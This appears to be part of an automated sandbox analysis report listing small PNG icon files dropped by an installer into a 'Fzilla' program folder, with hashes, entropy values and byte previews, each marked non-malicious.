SSDEEP:	6:6v/lhPWFmtOsEv651bAs7Uxlrk0X7F0jIOtuaUvLXVp:6v/7K3sk65asUDrHOjIOY//
MD5:	895DAFDF31CF7C888160BA98ED646C3D
SHA1:	9FA33AC0AA3FDB783CB8065FB8A3B34D2CAD323F
SHA-256:	0B3AE3F55208E4D443D0289C7BDFEEF0579F757257C5A91F27F1CE71C0BD968E
SHA-512:	8F815B7F9D36D702A8CCD3FFA6E37D7EAC2F792E21A812358190BD1575E812F0C8FF6A4D3EC4851407AC0F57E55AA9D4CE1B4D351EB48690AD40C7E3A95B611E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c ...../)).___.....Q$W/Jf.b.\|..O.....'.O^.....S..j...L.......1...I....Oi........n...j.........~.......3.l.....H..3....r....._......}.'....e....+..9..2...d........@..Q.....&....h....0."7 ......<......E05*...+4..@..2--.up......q......_...r...P.8.....y......H.........\|O.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-B11VU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	323
Entropy (8bit):	6.996338689643297
Encrypted:	false
SSDEEP:	6:6v/lhPmNpoc2l2rW3tpUZE9VyiOgGnHvi3oeaRHXKMMMo7/jp:6v/7uNpkYKVGHviYjXKMMMI1
MD5:	FBE18E0818E5E9C3558423C1AEEF1DF5
SHA1:	1AA36E2B49B71193447A97C98F7C433560C236C9
SHA-256:	D8699A29870DA50582B088AE2E69B4E360988C24A294025B023A6D71E3267F69
SHA-512:	EA8B48A7E238A419C813CD5D75F1C699561E9B394CDC17EBBC5A4C0954372F008D5EB26D98D06849F4E201972BDCD5B568243BF6EAEE8D709288C410BE6A3DA6
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......tZ......IDATx.c..=2..r.u+.\L..P..5{.......\|i.#[O...j..5.pj(.h...f.....;....).W..s..M...X44M..j+.l/.h..8a.%..o.<.......6 *io-.h+.h+ko.r.8.....v..4............S...X......e...l...`......Oj...!22....k.D..@X.....x;..."""......y.......0..O..t...........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-BLCNQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	405
Entropy (8bit):	7.187460923868278
Encrypted:	false
SSDEEP:	12:6v/7uGzID7vxxgxAcOO86RgfRfORwDRyj:0zIJ+IRfORw8j
MD5:	9B40B36993E7737C5699ED6E2F469752
SHA1:	839D23D6EA6DDF9370B1426C3B86C6EFB13318E6
SHA-256:	9A6E19A11B938FF5B28D10E880DC3F8BC0F6B09B97CAC3A82DF6AF3737D16250
SHA-512:	D4E6D9F4B3B0049661D16AA86E21CF540B82CE0BEA355AE8F3D2DFC39C01053D1DC162EEC1901E7B08D8B31DEE78EA7E68CF6F871EFF00AC5E2659C00B82A838
Malicious:	false
Preview:	.PNG........IHDR................a...\IDATx.b.....P.L.P..m5;.m.m.m.1.....g.l..d..D.\...-.Q.....m.....!.)..?..Z.:4.B8..j..p.7..1.]..H.0..W...[H.....0c..i..Y....H....._.)..xJ.xcj......v.X..lC....K...... ......q.........3..EKK.ELL..o....///..."??....~.0..Ss.......-.L..#(........555a.....Yd.." .... jATT..fp>T}R....\|......m....9.11.P..........X....@........c.....M............,.3.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-C7HP9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	437
Entropy (8bit):	7.382078738717652
Encrypted:	false
SSDEEP:	12:6v/7OK/fWIYeOvKEamhL6oHJGU7v8LmCMBX1w0vyP75B:o26PoprqoBF3c7f
MD5:	5ED842E1BB5700A572CF1FBF603E4350
SHA1:	FEB188CDB6FDF59824D65550BF824D8B4B7C6543
SHA-256:	7F2165A969FAE9F109587CB13415D6C4C0BD10073F5AD1DA0E05DA2B30434425
SHA-512:	603E5DC44CFEC975F0842C3CC6F57834CDC7B5E413F394A412B920E37DAE6DCC6D1912F48762B0508FB1DDEF407030BF89DD8B97B1CB131C56A77A9E8307BFAE
Malicious:	false
Preview:	.PNG........IHDR................a...\|IDATx......Q...SD}.`mE....f..f....m..31g..........=."z<E..fp.).....t........Uh..v..]..'W1yr/$...<....<\/...0CT..&.=..p...Q.....j....0g1....X.;.Y{.&.-Cw....<3@...........g..._....X...3....V......\....../..6.a.D..........rc........V0........N..\|..@.nc..;L...;..^...c.)-.:..o.`.v.B[.."u.!v5.\|4./~;.h*A.F."Y`..!.R..u..K...>..3....}.!d.P.%...G.S.j@.....u..".\|"....}.....P.(.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-CDDAA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	245
Entropy (8bit):	6.576576510042608
Encrypted:	false
SSDEEP:	6:6v/lhPfyTN9sKYZXgSr/tSrKhmxvm/pw+FDWErrKbglljp:6v/720QSDxhmd16tyg1
MD5:	16C03F6FAA711DDCE324AAB2E63FEEB0
SHA1:	6A11E846A2A9213BE5063541481353C427B3982F
SHA-256:	10B4F5F8F02D9ACBF916066FD0F0F4321158E719C8DEBB9BD9FFBE5F21A8A7D8
SHA-512:	8DA9624B3AB9A58F9EA39F4CD3BE3F7D828A39B569F46F8F5D89E9C30653EF12938EB6EA21D2136FC7CE68EAC5D396362213279FEEC1401E9D028A0B5125574A
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...QPLTE...Ce....h..L..r.....M..J~....o..{.....c.....g..`..P..X..Y..f..w..]..i....._..P.........tRNS.@..f...RIDATx......Q..^.._...ks...G..\.vi...-.9...3p. d....33YC.B....3gD.,....A.j.<.._.....hh[.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-D7R05.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	247
Entropy (8bit):	6.649761592354371
Encrypted:	false
SSDEEP:	6:6v/lhPmNpot/7/nbC9TxJKhQfGRQV/jrU4Ae/oJgX/qzPcBHBCOdobdmtVp:6v/7uNpA/nATxJUC5AsXYcXCnbk9
MD5:	5C0F552147EAA7DE4CBA4F81FD5A18CC
SHA1:	7D76C4610A80BADF0D10040106DFFF19DE6BA1AD
SHA-256:	CB66227AB907DF6BB3F09E238CB818EBF11C240879E361C57BAA41834A310CF9
SHA-512:	295691B271F7549135476D29B3209171B15267BD8FB044001CDCD52F0EB3383F621CF3A402CEEC3E1AD1F5DAAE4814AF17B18302D66173ACE085BC2838B6AB75
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......n.......IDATx.c......gG.g..BEh...)..'o.._.T2)z.&..).._.......h0O.... ..^....M..kv.."..\.<..H..?w'2......g...;..m.g.<k..UG.i..[..R..=.svCPd...N....$h.....@<ptt$Z).\=X.a0.V..fy~..n.C....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-F21LE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	287
Entropy (8bit):	6.95100077715202
Encrypted:	false
SSDEEP:	6:6v/lhPoddl4O88/Np4jfPfcVP7Db3+gOuPa0eJG9iup:6v/7Sl18ip4j0VD3Va0EC/
MD5:	DA558196C46B839619A80EE4E98BE91D
SHA1:	524E7F33C70A7CAAC8B3D802411D8F122DD45393
SHA-256:	1B94BD92D4DDE13738C9CFB8CFF9F39A02208888C7D665336E2AA6274E0A8A2A
SHA-512:	995582F0DB3CB16078D9811ECF5D14CBC50C2CCDC70395AC1420B522291F08A9DF639BBAF65E6C484B8B76A851D91E1856C88154949994C91BD30FE8C94C7804
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..3bDQ.E....._...m..=Ul..&.v..<.......E.%..#..7N.0..Bq...J....h....d...p.].0,..'... .....H.TB...,.g.I(.A.9...C...........e.U(..BC... uw.../..\|S<..!.LP...d._......`...M#....EUO'..QFQ...n}A..:...3...w.P"..#}....h._y..9........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-G6N9M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	130
Entropy (8bit):	5.809885167923778
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lNyxdkiFKNqcb1IDth/mrilttuDZkbb0mPxeVp:6v/lhP9+kiFj+1o/dKSQmpOp
MD5:	4D548B980D125421C96220890B963053
SHA1:	9B297F860972BAA1D6F85F34A02AC3E03ED278D1
SHA-256:	1256AB2DCA022092AAA9CBFEDFC35944492614B971EA9D018A994F20F5FF5FAB
SHA-512:	3C6A34FEFDC8332A6512D894573295A0582F901BAC18E1548B7B2A658DC8770481CBCC02E1DF1C4C19C03C46881FCEFD7F6E5E9E9FDFCFE479D47B3FEFD16E2D
Malicious:	false
Preview:	.PNG........IHDR................a...IIDATx.c......?......H8..I.v..H#...B.. ..O,.)&...h....@..... .@4...A....j.{.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-HIUKG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	156
Entropy (8bit):	5.7179010050773575
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFZ1vF/s2xnldlY3Qhl/OkyfK1DeG+cvsn4l/Vp:6v/lhPIFZ1NRmghAkb16G+esoVp
MD5:	2578435CD4F1B2703C38785A361D79F6
SHA1:	0D38BC97318D1B8CA79B9829883907738AFB04F3
SHA-256:	9FE376C420D461C5E67500510E38E8533E3C60A91F42BEBA85F0AD8E178A52B5
SHA-512:	DF0EA0BECE142B3A11EAC4880CC68A440D86253ED818AE6B097F38CB343D4F22CDE4C9EB308D4AAE585874344ECEF1A38833205EDF9B1950134060E64D299CF4
Malicious:	false
Preview:	.PNG........IHDR................R....PLTE...AAAYok.....Z.....S......l..0....tRNS.@..f.../IDATx.c@.LJJ..FG.D.......&...7....4[....q..@8...J..D......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-HUA3C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.419323000384599
Encrypted:	false
SSDEEP:	12:6v/7esVbhsHh534/AAv9go4eN1jiukbvRFdO13FJPLoVHrHogFnxnT3z:2xhKhp4/AAVseLjhkbXQ3LIHfnT3z
MD5:	2D79689C872BC20DFD4B0538860DEAB9
SHA1:	67E50B998F63713607997BED781B12A60B673061
SHA-256:	FE57D88CE901EE23D92D6D9164F0A6718B9769163301B539F29DEA63268247B0
SHA-512:	29D4FFD2041EF22ECA50AFA4256AA4CC2B5E4ADF0E73E8C47018F685459FC49D549FE08738810471FE815BC7814D4E325977006279C663671F79F5BDD055D86C
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3..A.@.3...hbu..:..Ti..4.m;U.....;s.b.1.U"....e..V.....(.ep.!....X..K.Au.E}........m:...c...f..5S.....D.ft1M.j.6...3.=\|]v..?.s.w.qYY......D.....r{<...n.s..T...X..g.....GS.....E\|J...8oq....m..}P.m\..t.....6.M.(N-....0"1l;D,.X,.1..../.... .........VF4F..N..F^c....H.......CQ.........m....=K\.!.@.(N....(p..x}%l?."....gv.!..aG.......`. ..K..xr..).~..G...<G... ..n.zaU...*(....).D....+..F9...l.=z..o.s#.B...N:h.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-JCOVF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.167492730834389
Encrypted:	false
SSDEEP:	6:6v/lhPWfm0I+K734L7xsN16wZ94gnE+IB/UNtCUmexdlOloKNlCup:6v/7Vpf43kjH4gnE+IB/+mOdLU
MD5:	D48ABFBB9729A45D99D88839CBF41FF0
SHA1:	DAA1CB349DF097AB5D8E024207F983150AB423F2
SHA-256:	0A39CE70BF4105CFAEC872030221302BE6ED16F25D44D5ABAE668FF9FF7BC931
SHA-512:	64754095979F3BEB624AFD76D410FEA11C861C573A52813D5A9E80F2F5DF07E384C2D9B4FB226E366332044566C41E7113223A042136D63EC0091A0CCD799FC6
Malicious:	false
Preview:	.PNG........IHDR................a...WIDATx.c@.L`L&`..........C.....*++.......I1......__....,--.........C.!LIII?CBB~[[[......b'''."..@.9....^..Ab.i.\$.CII./d.....pp........i......{.<..lXL..LB.1..t+.7..........{...?k...!8..g.)..l[.C......l^.?.s9X.l.....).0MkO.........%.#.8{.:..$V...........N._.wI......W.j@`.d'.......'..k.................T.o...d..........>...6Q.z..:...3x......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-LI526.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	396
Entropy (8bit):	7.208882760983336
Encrypted:	false
SSDEEP:	12:6v/7uNpyU6eHtQh8QCBtQuQAlM9fzYsVmWc:nTCeH28QCBtu9rY5Wc
MD5:	434C26E5752C7A86ECA4D6F8452F4ECB
SHA1:	14DBA1F9079EC1BA3BA78B2245D98325F95F1DF6
SHA-256:	FF847AD75181DD4C0A350B43741C5CC6D94258A323A675E406AFDD909F0AE31D
SHA-512:	A6BA4E71BC8F7088E71428AAF8013FF592752CF9D6D97B973E6E501C18582C60FFB48E7CE1650F0375122308291CF1E4742FD9966D8351B50271F130761D920F
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS.......}....AIDATx....hEq.._..m.f..3r..S..l.m.m{q....n....;W5:.J......h../........Q.f...$.."u.6k.nr.ZA(.>w..q[s]t.N.....b-.\bF<....p6..H.!.Y...j).......<....3.k.4....=B............o.wB...wt......Ja.Dt8..A(-3......YW`iv..[......t.I....*.(....\|tqinn.}x..D^I.dj~...qso.\|f..Gg.t;.P8../...-oaO.ab~}ne{zqc\|n.ieA.S.".P...5.."....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-LM09O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	312
Entropy (8bit):	6.95821797429228
Encrypted:	false
SSDEEP:	6:6v/lhPRmDQUUSN6QuNrUmKPP67ROui2rWSHL0FwFsmT5OpKspuY/ip:6v/7ZmsUUMduZUmKK71CMAFw16KsAYA
MD5:	3FC22CDF6513A6A85C9447D2A1A032A1
SHA1:	42F64379B5072087219D527A3C025114F9804FE0
SHA-256:	C2E0F4D177FB49067CAB48B0FD1975AE26644BF9DAE5BAEB110C988B8C596521
SHA-512:	9B95B893EB9242D27B1128EE92CF22A27AE80E312CF86FF2A97257F309558F8134BEAE5979F143FD852F4ACC43B5714907B8C980CF41705F8BBD49B0DB0555FA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.A ##.?:vssa$.111^....S...?....`.a... q...4.>\|.....,..q:177.<--...oj..... .S.j.r..yy9.0[..;.v.#G...={..G.kV...`.N.<."......].....+A.d;X,..f&..+......,55U. v]]-XQff.`ttd.....a.p./Y..........l!:..[....% .......QI....el.$22<.........@l?....`..P.qq#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-M3P18.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	165
Entropy (8bit):	5.973230255679673
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSARBx7jtRi+LeSLJcx4UC/Vn1g0ftYzYgRPrk/lkup:6v/lhPmNpocB5imeSLJA4UC/lq0fS0UC
MD5:	00AF3E61EE2B3FA856AD1B3FAFF8FF8B
SHA1:	35745115917277BA5429707ED830BB45519AD788
SHA-256:	8B58B62E6465CAB168A8F473A888D09C180EE6E54EFA521D3C022085F65D8923
SHA-512:	B37C4B8692A03DA39DD1C494808DE63DDEA6B0B00EFF8640735D757480170DE1B5BA85E17F5BC3F393CD9FF9E912EBBD40FACC4EDA50FC9A8F120DCBC46CF3A5
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7...ZIDATx.c.o=I..........L.S.>.l...q......j..C.i.H.N..k...h...\68.."..+w.....X.@.a......h.Z..(.A.o......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-MIH75.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	418
Entropy (8bit):	7.285508453296903
Encrypted:	false
SSDEEP:	12:6v/7zHP2KHn2Nfh7ShEBLEIr6ky0AXbPB2G/5:HKHSVXVZrA0ilB
MD5:	5FD0886A61D5B2141ECA5630F5617C56
SHA1:	DAA0D7E47EC62CCEFD95EC9570BA632BC2B63877
SHA-256:	4D65E085E8F3E4E287848478A0AEC2AEB2FCFA657C54967726D95DD9DC184641
SHA-512:	EB2195D3520289EFB4B56A2FBDBBA777806C8FBA46C3403F78A0B7EFE596587987BFD4E66789D165FD7C2B10F98739EEB0A4F1C0256999EA4F9A2979D8D7785C
Malicious:	false
Preview:	.PNG........IHDR................a...iIDATx...... .E..{...)*.....$.........gx..O}.{.H)AX.N.c..58. \|$.sb.1.........K..!.Xk..../4.=b...C..C..9.?.g.43..5...v..5%....=..?B..)....$.....3b....).(o...............l..5...'.m..................{W./...,......O......d.....K...-...dgN^.74.jr.P......f ......-.a.......R>.......R0}...q=+..w,.:w.XST..).9..`'.....m+.....u...%..lq-...R;%.f.).....>y...4L.d....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-MUDIA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	152
Entropy (8bit):	5.728713376101426
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFZQOVbncgpgh8taQhl/9A1x01xvEqJFHhjg1p:6v/lhPIFZQOxHgShDex0bEuhqp
MD5:	6ECDB906CA7863F3A8FB3BE9C4D960B7
SHA1:	86305E819E93D03421FC42CFA041F5A333A7D644
SHA-256:	FBEE54092BFA8C72A0BC1532871496F64C8FE640694E6E7354A64539D205BEA2
SHA-512:	AF8F7B062C149EACFC31D1C3C5EE7FA89D1709B70EE52DAED0EF54F5FEE6A2FAF41CA45F80BCB28E37D7E4C20B431749EA76612F0B1734CC502B4C76AD46CD43
Malicious:	false
Preview:	.PNG........IHDR................R....PLTE...Sfm.....n..v..n..o..p..eO.K....tRNS.@..f...+IDATx.c....4.".!.*...t..J%2.f..B.ie.Pm.....(U.;...+....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-PEU1B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	345
Entropy (8bit):	7.067400943510153
Encrypted:	false
SSDEEP:	6:6v/lhPmNpoXIubB4Qt4sFqHnVIu4f7zIwcbTgw6eh0HHpu+YHtwpHMiLfFGCGm+t:6v/7uNpAIubbt4LVR4QwGgw6ehQxewpm
MD5:	FBC5D88D9F0E29B6ACE7B88109308632
SHA1:	9E7F3529A17E24110302F63DD4D140B00BF2E603
SHA-256:	8B35072F21559F3175583B2F5A90C578DD8583C735D6108657C163ED21813409
SHA-512:	8702B05CFE7E352AED2BA64F82ACA586A365FF26C7551733C7D9A8FE3FDD2B7E06010A94A0FC5D0999454994D6B4EE814999F48638D20B439AC13748FF943109
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7....IDATx.b.o=I.b......>.@..;..X....45.......z.?..L.}.=G..^o..au..Z....,.Z.......`.R..Z.2J.~..0.1..\|]..wq....!......n~.\|.`#c.0...T.s].\_.4-e.\....V..q.y\[+].[......R&.4...>mm=ml.KH...N.N.......`...H(..O.....)a.:.F...(..S+.,.}.......^.&..o..P.3A..'?._Ff.}j..(..R......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-Q42QL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	304
Entropy (8bit):	6.9565335061879265
Encrypted:	false
SSDEEP:	6:6v/lhPW5h5v7PRBhgSIueXHbPwgl0Z8/IvYX2hpqQXp:6v/7u5h5v1B1ID790ZxQXEpqQZ
MD5:	66F6645979AC4E573797BA684B82A6F1
SHA1:	AF76D80F95B0106DDF0B874933F0556714FA3641
SHA-256:	71F84B897ADA3B015FDB5582CC8FED63053799E4C897CA5B8A4040B7C2C40D7C
SHA-512:	F6FB7B0CB0086954314314AA31B156F26AB8C7B4B9F51F67AED2A43F31DBD75753BFEAEB5C717C50F7DD49FB530E8E2B3CDE11F26F0D6E996DB096087F1949BA
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c....AF.".\|k...p.T...6.Q.0#I.....y.....%.R......).[]/k..J..........O[........BW10.NS.E.-i....y..c.8s..X,.EQ.Cs.,.$....K......H...R...+...,W._y.... ......o6...X....].p.T.5....X..oU..)....\|..\c.t.......w..g`D.{.4u=t.F.......~.....>.....F...).g....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-TMLJQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	121
Entropy (8bit):	5.575299187668877
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtlBxdwlsHYaNP6PlG4MrXnxB4vM4Ea/bp:6v/lhPO6/BiaoltMrXR4Eqbp
MD5:	BB02D9D5C7681D0C0B6D69B4C9D7B488
SHA1:	B851E800CEA88CAB39FC20519846461B1A760C48
SHA-256:	922757556A97089AFDF0F27EC5BD7AA8D805344FE296EA1106E17E98CF1862E3
SHA-512:	B5063E2B4001C7E83BE30DA4DB5B5AC2B449F0EF0755675A79246217D8B906D20FEC56035E50DF94E7576A1C877A5FC5858432644D76081F036D2527657FE48D
Malicious:	false
Preview:	.PNG........IHDR...............7....@IDATx.c.O...........(...._.......^.}.)8....(.....d....... .$........!a.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-TVR95.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	439
Entropy (8bit):	7.393238619174529
Encrypted:	false
SSDEEP:	12:6v/78xi86wjdtcw9ogjaBqt7iXwZEJAFILuU6jRElN1N:NxRdtcSoglwwZEJyU+ilN1N
MD5:	93A6FEEB5D70E5C349E8618C8AA90E4E
SHA1:	29470D41C7AEB3BDCFA7C66862FEB1380FE9677A
SHA-256:	B7F788693DC5EB63A5DDAE21C114EE35E9E8A4629341AC5ACA1C59E6F1892AF1
SHA-512:	CE743D30E9B7F3DA2748B63E083F9BCFA2ADD8A7976432178A8C40B06872D5A2000C98E10D1DC2D32F1A3D4FEE6F81A1FBB2437DA35C0F6155B30774F1BEBE86
Malicious:	false
Preview:	.PNG........IHDR................a...~IDATx....G.q..'....... ..N03c..YY..F.O......a.n..l.....FP.n.=.s....yx........p.gR.+....aX...l.:..T6......H..g...C......5MC<.G...f..y.}...{...4.6.P(.$...R.I.PUu. ....Gx{..Su..B!.<.H$b..Nm2R...........b.8=..eY.%...}F.v!?...@Z.(.Z..6....E..X..d..$y.. ..-.^.\^%.`.....f../.i?.t.b[8p...:h.Ro.ZF4.5...p..u(!sUA.R....6w.._./..`..z..2.t.K..(am..g~.=`.S>...PbA.e....W......k.c........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-UM618.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	173
Entropy (8bit):	5.976984224745197
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAp9FjGm9GljQwyUWnY9s52GZnup:6v/lhPmNpokjG2w0Y9s52Qup
MD5:	D5372147FC21AD2EDFA1667101CD8C5D
SHA1:	3CCEA50237C3B395B2371614C7F1D84EF1345663
SHA-256:	A37885C0F5116A56D8C0FA7F74F07ED8171A4F027012DA158E5D82D465F2698A
SHA-512:	968682550AD4A9990F89743C308EB923A7B06F905D52B7D207E0420E91C63DF9B6DFCDF6F12DB18B9A7A01127099747932F5CF1172DF629876F3093101346264
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7...bIDATx.c.o=Ihhh.N...S5..h..m.Q.=..@C....f..mh.k...CF85.....s.[sAd.Ps^C+......J..h.......!-......eZ......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-V8K0S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	411
Entropy (8bit):	7.189269682483944
Encrypted:	false
SSDEEP:	12:6v/7rxOtrN6eHieVoor9mEJHGru0gBRiuH/N:6krUQLoor9mEKgB5H1
MD5:	B248E0142E589D10B1FB9A282464B4D9
SHA1:	82309F4D54284D0FACC41F93E4AB0438349705FB
SHA-256:	3671A40156A7D5D396A40001DDE65CAAA924119115229549487EAC626AA31DB1
SHA-512:	B4714912966A434A1E7607EBA3BEBA62786F2F65454A36E166B23A204B152D1F8559DFA05DBC0FCDC90D2725C2EC86644BD295780D4322B3D0E5D2AC7B301026
Malicious:	false
Preview:	.PNG........IHDR................a...bIDATx.b...?E...2.0`.....&..G.W&.$d......TM.....Z....._.W...`............p....... 9lx.$Ov........_......y....].?<....i#....su.6....3..u..QfH.x.E..?H..(.YN....n....8...........},...pA.......C..<}..d..i.(..3.....v.....t.G..2.R.....5M...o].]s.5..6.y.G..e.LM.;...[{Z.d\|O....QQV..z./K.5@.U.....K.Q...B]?.}..A...@QB.....!.V.2....B......R.K......-..C.'....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-VRM2H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.190997209876537
Encrypted:	false
SSDEEP:	6:6v/lhPWjWlso4SdQWv6tDvng6wtWN3Y515FjAhpLLNzAp4EEI+sI17ap:6v/7flJpdQWv6t8kNo5ApL5spxEI0Fw
MD5:	A621D469319033B95EFE33E25B1295A7
SHA1:	C8E209104FFBCA00677ED4D6A5E86D2E967D6917
SHA-256:	8D2D5DD229B5B47F0C48C4128F1A715C1A0BD357C7DBBD65F338A2A8D681C327
SHA-512:	06E2A6D17015497D6CB580D1064CD28008AE06D36447E5CC9DAC2850E065E883BAC0CC98C083A078E04D88263E823E7A69B634017A6476AE26A5B8735CDE68F9
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....CEQ......l.m.vM..)....=.....;...1...`.3...{...G._.S.&.....'..Z8F..>.v.`...J.........{..:.3.(E.?.w...g.D.....zvlB.t.je}.....b...$.......7...d.._.....3....x#...C......>...2.$...YA.r5.....z..p.......A3....a.!......;.t}.(..3}..g%..?F....!...$..j"@...>.........#RH...\|....[....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-VV6J6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	308
Entropy (8bit):	6.972327902057909
Encrypted:	false
